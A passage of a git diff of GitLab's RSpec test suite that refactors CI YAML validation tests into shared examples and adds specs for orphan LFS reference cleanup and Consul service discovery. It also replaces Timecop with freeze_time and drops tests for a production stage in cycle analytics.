- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec script can't be blank")
+ it_behaves_like 'returns errors', 'jobs rspec config should implement a script: or a trigger: keyword'
end
- it "returns errors if there are no visible jobs defined" do
- config = YAML.dump({ before_script: ["bundle update"], '.hidden'.to_sym => { script: 'ls' } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs config should contain at least one visible job")
+ context 'returns errors if there are no visible jobs defined' do
+ let(:config) { YAML.dump({ before_script: ["bundle update"], '.hidden'.to_sym => { script: 'ls' } }) }
+
+ it_behaves_like 'returns errors', 'jobs config should contain at least one visible job'
end
- it "returns errors if job allow_failure parameter is not an boolean" do
- config = YAML.dump({ rspec: { script: "test", allow_failure: "string" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec allow failure should be a boolean value")
+ context 'returns errors if job allow_failure parameter is not an boolean' do
+ let(:config) { YAML.dump({ rspec: { script: "test", allow_failure: "string" } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec allow failure should be a boolean value'
end
- it "returns errors if job stage is not a string" do
- config = YAML.dump({ rspec: { script: "test", type: 1 } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:type config should be a string")
+ context 'returns errors if job stage is not a string' do
+ let(:config) { YAML.dump({ rspec: { script: "test", type: 1 } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:type config should be a string'
end
- it "returns errors if job stage is not a pre-defined stage" do
- config = YAML.dump({ rspec: { script: "test", type: "acceptance" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "rspec job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post")
+ context 'returns errors if job stage is not a pre-defined stage' do
+ let(:config) { YAML.dump({ rspec: { script: "test", type: "acceptance" } }) }
+
+ it_behaves_like 'returns errors', 'rspec job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post'
end
- it "returns errors if job stage is not a defined stage" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", type: "acceptance" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "rspec job: chosen stage does not exist; available stages are .pre, build, test, .post")
+ context 'returns errors if job stage is not a defined stage' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", type: "acceptance" } }) }
+
+ it_behaves_like 'returns errors', 'rspec job: chosen stage does not exist; available stages are .pre, build, test, .post'
end
- it "returns errors if stages is not an array" do
- config = YAML.dump({ stages: "test", rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "stages config should be an array of strings")
+ context 'returns errors if stages is not an array' do
+ let(:config) { YAML.dump({ stages: "test", rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'stages config should be an array of strings'
end
- it "returns errors if stages is not an array of strings" do
- config = YAML.dump({ stages: [true, "test"], rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "stages config should be an array of strings")
+ context 'returns errors if stages is not an array of strings' do
+ let(:config) { YAML.dump({ stages: [true, "test"], rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'stages config should be an array of strings'
end
- it "returns errors if variables is not a map" do
- config = YAML.dump({ variables: "test", rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "variables config should be a hash of key value pairs")
+ context 'returns errors if variables is not a map' do
+ let(:config) { YAML.dump({ variables: "test", rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'variables config should be a hash of key value pairs'
end
- it "returns errors if variables is not a map of key-value strings" do
- config = YAML.dump({ variables: { test: false }, rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "variables config should be a hash of key value pairs")
+ context 'returns errors if variables is not a map of key-value strings' do
+ let(:config) { YAML.dump({ variables: { test: false }, rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'variables config should be a hash of key value pairs'
end
- it "returns errors if job when is not on_success, on_failure or always" do
- config = YAML.dump({ rspec: { script: "test", when: 1 } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec when should be one of: #{Gitlab::Ci::Config::Entry::Job::ALLOWED_WHEN.join(', ')}")
+ context 'returns errors if job when is not on_success, on_failure or always' do
+ let(:config) { YAML.dump({ rspec: { script: "test", when: 1 } }) }
+
+ it_behaves_like 'returns errors', "jobs:rspec when should be one of: #{Gitlab::Ci::Config::Entry::Job::ALLOWED_WHEN.join(', ')}"
end
- it "returns errors if job artifacts:name is not an a string" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { name: 1 } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts name should be a string")
+ context 'returns errors if job artifacts:name is not an a string' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { name: 1 } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts name should be a string'
end
- it "returns errors if job artifacts:when is not an a predefined value" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { when: 1 } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts when should be on_success, on_failure or always")
+ context 'returns errors if job artifacts:when is not an a predefined value' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { when: 1 } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts when should be on_success, on_failure or always'
end
- it "returns errors if job artifacts:expire_in is not an a string" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { expire_in: 1 } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts expire in should be a duration")
+ context 'returns errors if job artifacts:expire_in is not an a string' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { expire_in: 1 } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts expire in should be a duration'
end
- it "returns errors if job artifacts:expire_in is not an a valid duration" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { expire_in: "7 elephants" } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts expire in should be a duration")
+ context 'returns errors if job artifacts:expire_in is not an a valid duration' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { expire_in: "7 elephants" } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts expire in should be a duration'
end
- it "returns errors if job artifacts:untracked is not an array of strings" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { untracked: "string" } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts untracked should be a boolean value")
+ context 'returns errors if job artifacts:untracked is not an array of strings' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { untracked: "string" } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts untracked should be a boolean value'
end
- it "returns errors if job artifacts:paths is not an array of strings" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { paths: "string" } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:artifacts paths should be an array of strings")
+ context 'returns errors if job artifacts:paths is not an array of strings' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", artifacts: { paths: "string" } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:artifacts paths should be an array of strings'
end
- it "returns errors if cache:untracked is not an array of strings" do
- config = YAML.dump({ cache: { untracked: "string" }, rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "cache:untracked config should be a boolean value")
+ context 'returns errors if cache:untracked is not an array of strings' do
+ let(:config) { YAML.dump({ cache: { untracked: "string" }, rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'cache:untracked config should be a boolean value'
end
- it "returns errors if cache:paths is not an array of strings" do
- config = YAML.dump({ cache: { paths: "string" }, rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "cache:paths config should be an array of strings")
+ context 'returns errors if cache:paths is not an array of strings' do
+ let(:config) { YAML.dump({ cache: { paths: "string" }, rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'cache:paths config should be an array of strings'
end
- it "returns errors if cache:key is not a string" do
- config = YAML.dump({ cache: { key: 1 }, rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "cache:key should be a hash, a string or a symbol")
+ context 'returns errors if cache:key is not a string' do
+ let(:config) { YAML.dump({ cache: { key: 1 }, rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', "cache:key should be a hash, a string or a symbol"
end
- it "returns errors if job cache:key is not an a string" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: 1 } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:cache:key should be a hash, a string or a symbol")
+ context 'returns errors if job cache:key is not an a string' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: 1 } } }) }
+
+ it_behaves_like 'returns errors', "jobs:rspec:cache:key should be a hash, a string or a symbol"
end
- it 'returns errors if job cache:key:files is not an array of strings' do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { files: [1] } } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:rspec:cache:key:files config should be an array of strings')
+ context 'returns errors if job cache:key:files is not an array of strings' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { files: [1] } } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:cache:key:files config should be an array of strings'
end
- it 'returns errors if job cache:key:files is an empty array' do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { files: [] } } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:rspec:cache:key:files config requires at least 1 item')
+ context 'returns errors if job cache:key:files is an empty array' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { files: [] } } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:cache:key:files config requires at least 1 item'
end
- it 'returns errors if job defines only cache:key:prefix' do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { prefix: 'prefix-key' } } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:rspec:cache:key config missing required keys: files')
+ context 'returns errors if job defines only cache:key:prefix' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { prefix: 'prefix-key' } } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:cache:key config missing required keys: files'
end
- it 'returns errors if job cache:key:prefix is not an a string' do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { prefix: 1, files: ['file'] } } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:rspec:cache:key:prefix config should be a string or symbol')
+ context 'returns errors if job cache:key:prefix is not an a string' do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { key: { prefix: 1, files: ['file'] } } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:cache:key:prefix config should be a string or symbol'
end
- it "returns errors if job cache:untracked is not an array of strings" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { untracked: "string" } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:cache:untracked config should be a boolean value")
+ context "returns errors if job cache:untracked is not an array of strings" do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { untracked: "string" } } }) }
+
+ it_behaves_like 'returns errors', "jobs:rspec:cache:untracked config should be a boolean value"
end
- it "returns errors if job cache:paths is not an array of strings" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { paths: "string" } } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:cache:paths config should be an array of strings")
+ context "returns errors if job cache:paths is not an array of strings" do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", cache: { paths: "string" } } }) }
+
+ it_behaves_like 'returns errors', "jobs:rspec:cache:paths config should be an array of strings"
end
- it "returns errors if job dependencies is not an array of strings" do
- config = YAML.dump({ types: %w(build test), rspec: { script: "test", dependencies: "string" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec dependencies should be an array of strings")
+ context "returns errors if job dependencies is not an array of strings" do
+ let(:config) { YAML.dump({ types: %w(build test), rspec: { script: "test", dependencies: "string" } }) }
+
+ it_behaves_like 'returns errors', "jobs:rspec dependencies should be an array of strings"
end
- it 'returns errors if pipeline variables expression policy is invalid' do
- config = YAML.dump({ rspec: { script: 'test', only: { variables: ['== null'] } } })
+ context 'returns errors if pipeline variables expression policy is invalid' do
+ let(:config) { YAML.dump({ rspec: { script: 'test', only: { variables: ['== null'] } } }) }
- expect { Gitlab::Ci::YamlProcessor.new(config) }
- .to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:only variables invalid expression syntax')
+ it_behaves_like 'returns errors', 'jobs:rspec:only variables invalid expression syntax'
end
- it 'returns errors if pipeline changes policy is invalid' do
- config = YAML.dump({ rspec: { script: 'test', only: { changes: [1] } } })
+ context 'returns errors if pipeline changes policy is invalid' do
+ let(:config) { YAML.dump({ rspec: { script: 'test', only: { changes: [1] } } }) }
- expect { Gitlab::Ci::YamlProcessor.new(config) }
- .to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:only changes should be an array of strings')
+ it_behaves_like 'returns errors', 'jobs:rspec:only changes should be an array of strings'
end
- it 'returns errors if extended hash configuration is invalid' do
- config = YAML.dump({ rspec: { extends: 'something', script: 'test' } })
+ context 'returns errors if extended hash configuration is invalid' do
+ let(:config) { YAML.dump({ rspec: { extends: 'something', script: 'test' } }) }
- expect { Gitlab::Ci::YamlProcessor.new(config) }
- .to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'rspec: unknown keys in `extends` (something)')
+ it_behaves_like 'returns errors', 'rspec: unknown keys in `extends` (something)'
end
- it 'returns errors if parallel is invalid' do
- config = YAML.dump({ rspec: { parallel: 'test', script: 'test' } })
+ context 'returns errors if parallel is invalid' do
+ let(:config) { YAML.dump({ rspec: { parallel: 'test', script: 'test' } }) }
- expect { Gitlab::Ci::YamlProcessor.new(config) }
- .to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:parallel should be an integer or a hash')
+ it_behaves_like 'returns errors', 'jobs:rspec:parallel should be an integer or a hash'
end
end
@@ -2750,8 +2633,8 @@ module Gitlab
end
end
- describe '.new_with_validation_errors' do
- subject { Gitlab::Ci::YamlProcessor.new_with_validation_errors(content) }
+ describe '#execute' do
+ subject { Gitlab::Ci::YamlProcessor.new(content).execute }
context 'when the YAML could not be parsed' do
let(:content) { YAML.dump('invalid: yaml: test') }
@@ -2759,7 +2642,6 @@ module Gitlab
it 'returns errors and empty configuration' do
expect(subject.valid?).to eq(false)
expect(subject.errors).to eq(['Invalid configuration format'])
- expect(subject.config).to be_blank
end
end
@@ -2769,7 +2651,6 @@ module Gitlab
it 'returns errors and empty configuration' do
expect(subject.valid?).to eq(false)
expect(subject.errors).to eq(['jobs:rspec:tags config should be an array of strings'])
- expect(subject.config).to be_blank
end
end
@@ -2781,7 +2662,6 @@ module Gitlab
expect(subject.errors).to contain_exactly(
'jobs:rspec config contains unknown keys: bad_tags',
'jobs:rspec rules should be an array of hashes')
- expect(subject.config).to be_blank
end
end
@@ -2791,7 +2671,6 @@ module Gitlab
it 'returns errors and empty configuration' do
expect(subject.valid?).to eq(false)
expect(subject.errors).to eq(['Please provide content of .gitlab-ci.yml'])
- expect(subject.config).to be_blank
end
end
@@ -2801,7 +2680,6 @@ module Gitlab
it 'returns errors and empty configuration' do
expect(subject.valid?).to eq(false)
expect(subject.errors).to eq(['Unknown alias: bad_alias'])
- expect(subject.config).to be_blank
end
end
@@ -2811,7 +2689,7 @@ module Gitlab
it 'returns errors and empty configuration' do
expect(subject.valid?).to eq(true)
expect(subject.errors).to be_empty
- expect(subject.config).to be_present
+ expect(subject.builds).to be_present
end
end
end
diff --git a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
index 47b2cf5dc4a..efdfc0a980b 100644
--- a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
+++ b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
@@ -3,12 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::Cleanup::OrphanLfsFileReferences do
+ include ProjectForksHelper
+
let(:null_logger) { Logger.new('/dev/null') }
let(:project) { create(:project, :repository, lfs_enabled: true) }
let(:lfs_object) { create(:lfs_object) }
let!(:invalid_reference) { create(:lfs_objects_project, project: project, lfs_object: lfs_object) }
+ subject(:service) { described_class.new(project, logger: null_logger, dry_run: dry_run) }
+
before do
allow(null_logger).to receive(:info)
@@ -21,25 +25,66 @@ RSpec.describe Gitlab::Cleanup::OrphanLfsFileReferences do
end
context 'dry run' do
+ let(:dry_run) { true }
+
it 'prints messages and does not delete references' do
expect(null_logger).to receive(:info).with("[DRY RUN] Looking for orphan LFS files for project #{project.name_with_namespace}")
expect(null_logger).to receive(:info).with("[DRY RUN] Found invalid references: 1")
- expect { described_class.new(project, logger: null_logger).run! }
- .not_to change { project.lfs_objects.count }
+ expect { service.run! }.not_to change { project.lfs_objects.count }
end
end
context 'regular run' do
+ let(:dry_run) { false }
+
it 'prints messages and deletes invalid reference' do
expect(null_logger).to receive(:info).with("Looking for orphan LFS files for project #{project.name_with_namespace}")
expect(null_logger).to receive(:info).with("Removed invalid references: 1")
expect(ProjectCacheWorker).to receive(:perform_async).with(project.id, [], [:lfs_objects_size])
- expect { described_class.new(project, logger: null_logger, dry_run: false).run! }
- .to change { project.lfs_objects.count }.from(2).to(1)
+ expect { service.run! }.to change { project.lfs_objects.count }.from(2).to(1)
expect(LfsObjectsProject.exists?(invalid_reference.id)).to be_falsey
end
+
+ context 'LFS object is in design repository' do
+ before do
+ expect(project.design_repository).to receive(:exists?).and_return(true)
+
+ stub_lfs_pointers(project.design_repository, lfs_object.oid)
+ end
+
+ it 'is not removed' do
+ expect { service.run! }.not_to change { project.lfs_objects.count }
+ end
+ end
+
+ context 'LFS object is in wiki repository' do
+ before do
+ expect(project.wiki.repository).to receive(:exists?).and_return(true)
+
+ stub_lfs_pointers(project.wiki.repository, lfs_object.oid)
+ end
+
+ it 'is not removed' do
+ expect { service.run! }.not_to change { project.lfs_objects.count }
+ end
+ end
+ end
+
+ context 'LFS for project snippets' do
+ let(:snippet) { create(:project_snippet) }
+
+ it 'is disabled' do
+ # Support project snippets here before enabling LFS for them
+ expect(snippet.repository.lfs_enabled?).to be_falsy
+ end
+ end
+
+ def stub_lfs_pointers(repo, *oids)
+ expect(repo.gitaly_blob_client)
+ .to receive(:get_all_lfs_pointers)
+ .and_return(oids.map { |oid| OpenStruct.new(lfs_oid: oid) })
end
end
diff --git a/spec/lib/gitlab/conan_token_spec.rb b/spec/lib/gitlab/conan_token_spec.rb
index b17f2eaa8d8..be1d3e757f5 100644
--- a/spec/lib/gitlab/conan_token_spec.rb
+++ b/spec/lib/gitlab/conan_token_spec.rb
@@ -85,7 +85,7 @@ RSpec.describe Gitlab::ConanToken do
it 'returns the encoded JWT' do
allow(SecureRandom).to receive(:uuid).and_return('u-u-i-d')
- Timecop.freeze do
+ freeze_time do
jwt = build_jwt(access_token_id: 123, user_id: 456)
token = described_class.new(access_token_id: 123, user_id: 456)
diff --git a/spec/lib/gitlab/consul/internal_spec.rb b/spec/lib/gitlab/consul/internal_spec.rb
new file mode 100644
index 00000000000..5889dd8b41d
--- /dev/null
+++ b/spec/lib/gitlab/consul/internal_spec.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Consul::Internal do
+ let(:api_url) { 'http://127.0.0.1:8500' }
+
+ let(:consul_settings) do
+ {
+ api_url: api_url
+ }
+ end
+
+ before do
+ stub_config(consul: consul_settings)
+ end
+
+ describe '.api_url' do
+ it 'returns correct value' do
+ expect(described_class.api_url).to eq(api_url)
+ end
+
+ context 'when consul setting is not present in gitlab.yml' do
+ before do
+ allow(Gitlab.config).to receive(:consul).and_raise(Settingslogic::MissingSetting)
+ end
+
+ it 'does not fail' do
+ expect(described_class.api_url).to be_nil
+ end
+ end
+ end
+
+ shared_examples 'handles failure response' do
+ it 'raises Gitlab::Consul::Internal::SocketError when SocketError is rescued' do
+ stub_consul_discover_prometheus.to_raise(::SocketError)
+
+ expect { subject }
+ .to raise_error(described_class::SocketError)
+ end
+
+ it 'raises Gitlab::Consul::Internal::SSLError when OpenSSL::SSL::SSLError is rescued' do
+ stub_consul_discover_prometheus.to_raise(OpenSSL::SSL::SSLError)
+
+ expect { subject }
+ .to raise_error(described_class::SSLError)
+ end
+
+ it 'raises Gitlab::Consul::Internal::ECONNREFUSED when Errno::ECONNREFUSED is rescued' do
+ stub_consul_discover_prometheus.to_raise(Errno::ECONNREFUSED)
+
+ expect { subject }
+ .to raise_error(described_class::ECONNREFUSED)
+ end
+
+ it 'raises Consul::Internal::UnexpectedResponseError when StandardError is rescued' do
+ stub_consul_discover_prometheus.to_raise(StandardError)
+
+ expect { subject }
+ .to raise_error(described_class::UnexpectedResponseError)
+ end
+
+ it 'raises Consul::Internal::UnexpectedResponseError when request returns 500' do
+ stub_consul_discover_prometheus.to_return(status: 500, body: '{ message: "FAIL!" }')
+
+ expect { subject }
+ .to raise_error(described_class::UnexpectedResponseError)
+ end
+
+ it 'raises Consul::Internal::UnexpectedResponseError when request returns non json data' do
+ stub_consul_discover_prometheus.to_return(status: 200, body: 'not json')
+
+ expect { subject }
+ .to raise_error(described_class::UnexpectedResponseError)
+ end
+ end
+
+ shared_examples 'returns nil given blank value of' do |input_symbol|
+ [nil, ''].each do |value|
+ let(input_symbol) { value }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ describe '.discover_service' do
+ subject { described_class.discover_service(service_name: service_name) }
+
+ let(:service_name) { 'prometheus' }
+
+ it_behaves_like 'returns nil given blank value of', :api_url
+
+ it_behaves_like 'returns nil given blank value of', :service_name
+
+ context 'one service discovered' do
+ before do
+ stub_consul_discover_prometheus.to_return(status: 200, body: '[{"ServiceAddress":"prom.net","ServicePort":9090}]')
+ end
+
+ it 'returns the service address and port' do
+ is_expected.to eq(["prom.net", 9090])
+ end
+ end
+
+ context 'multiple services discovered' do
+ before do
+ stub_consul_discover_prometheus
+ .to_return(status: 200, body: '[{"ServiceAddress":"prom_1.net","ServicePort":9090},{"ServiceAddress":"prom.net","ServicePort":9090}]')
+ end
+
+ it 'uses the first service' do
+ is_expected.to eq(["prom_1.net", 9090])
+ end
+ end
+
+ it_behaves_like 'handles failure response'
+ end
+
+ describe '.discover_prometheus_server_address' do
+ subject { described_class.discover_prometheus_server_address }
+
+ before do
+ stub_consul_discover_prometheus
+ .to_return(status: 200, body: '[{"ServiceAddress":"prom.net","ServicePort":9090}]')
+ end
+
+ it 'returns the server address' do
+ is_expected.to eq('prom.net:9090')
+ end
+
+ it_behaves_like 'returns nil given blank value of', :api_url
+
+ it_behaves_like 'handles failure response'
+ end
+
+ def stub_consul_discover_prometheus
+ stub_request(:get, /v1\/catalog\/service\/prometheus/)
+ end
+end
diff --git a/spec/lib/gitlab/cycle_analytics/code_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/code_stage_spec.rb
index afab19de2ab..17104715580 100644
--- a/spec/lib/gitlab/cycle_analytics/code_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/code_stage_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe Gitlab::CycleAnalytics::CodeStage do
describe '#project_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::CycleAnalytics::CodeStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/cycle_analytics/events_spec.rb b/spec/lib/gitlab/cycle_analytics/events_spec.rb
index 246003cde84..e0a8e2c17a3 100644
--- a/spec/lib/gitlab/cycle_analytics/events_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/events_spec.rb
@@ -306,48 +306,6 @@ RSpec.describe 'cycle analytics events' do
end
end
- describe '#production_events', :sidekiq_might_not_need_inline do
- let(:stage) { :production }
- let!(:context) { create(:issue, project: project, created_at: 2.days.ago) }
-
- before do
- merge_merge_requests_closing_issue(user, project, context)
- deploy_master(user, project)
- end
-
- it 'has the total time' do
- expect(events.first[:total_time]).not_to be_empty
- end
-
- it 'has a title' do
- expect(events.first[:title]).to eq(context.title)
- end
-
- it 'has the URL' do
- expect(events.first[:url]).not_to be_nil
- end
-
- it 'has an iid' do
- expect(events.first[:iid]).to eq(context.iid.to_s)
- end
-
- it 'has a created_at timestamp' do
- expect(events.first[:created_at]).to end_with('ago')
- end
-
- it "has the author's URL" do
- expect(events.first[:author][:web_url]).not_to be_nil
- end
-
- it "has the author's avatar URL" do
- expect(events.first[:author][:avatar_url]).not_to be_nil
- end
-
- it "has the author's name" do
- expect(events.first[:author][:name]).to eq(context.author.name)
- end
- end
-
def setup(context)
milestone = create(:milestone, project: project)
context.update(milestone: milestone)
diff --git a/spec/lib/gitlab/cycle_analytics/issue_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/issue_stage_spec.rb
index 9ec71e6ed72..c7ab2b9b84b 100644
--- a/spec/lib/gitlab/cycle_analytics/issue_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/issue_stage_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Gitlab::CycleAnalytics::IssueStage do
describe '#median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -65,7 +65,7 @@ RSpec.describe Gitlab::CycleAnalytics::IssueStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -87,7 +87,7 @@ RSpec.describe Gitlab::CycleAnalytics::IssueStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/cycle_analytics/permissions_spec.rb b/spec/lib/gitlab/cycle_analytics/permissions_spec.rb
index 3fd48993e5f..7650ff3cace 100644
--- a/spec/lib/gitlab/cycle_analytics/permissions_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/permissions_spec.rb
@@ -21,10 +21,6 @@ RSpec.describe Gitlab::CycleAnalytics::Permissions do
expect(subject[:staging]).to eq(false)
end
- it 'has no permissions to production stage' do
- expect(subject[:production]).to eq(false)
- end
-
it 'has no permissions to code stage' do
expect(subject[:code]).to eq(false)
end
@@ -55,10 +51,6 @@ RSpec.describe Gitlab::CycleAnalytics::Permissions do
expect(subject[:staging]).to eq(true)
end
- it 'has permissions to production stage' do
- expect(subject[:production]).to eq(true)
- end
-
it 'has permissions to code stage' do
expect(subject[:code]).to eq(true)
end
@@ -121,9 +113,5 @@ RSpec.describe Gitlab::CycleAnalytics::Permissions do
it 'has no permissions to issue stage' do
expect(subject[:issue]).to eq(false)
end
-
- it 'has no permissions to production stage' do
- expect(subject[:production]).to eq(false)
- end
end
end
diff --git a/spec/lib/gitlab/cycle_analytics/plan_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/plan_stage_spec.rb
index 66d00edacb7..2547c05c025 100644
--- a/spec/lib/gitlab/cycle_analytics/plan_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/plan_stage_spec.rb
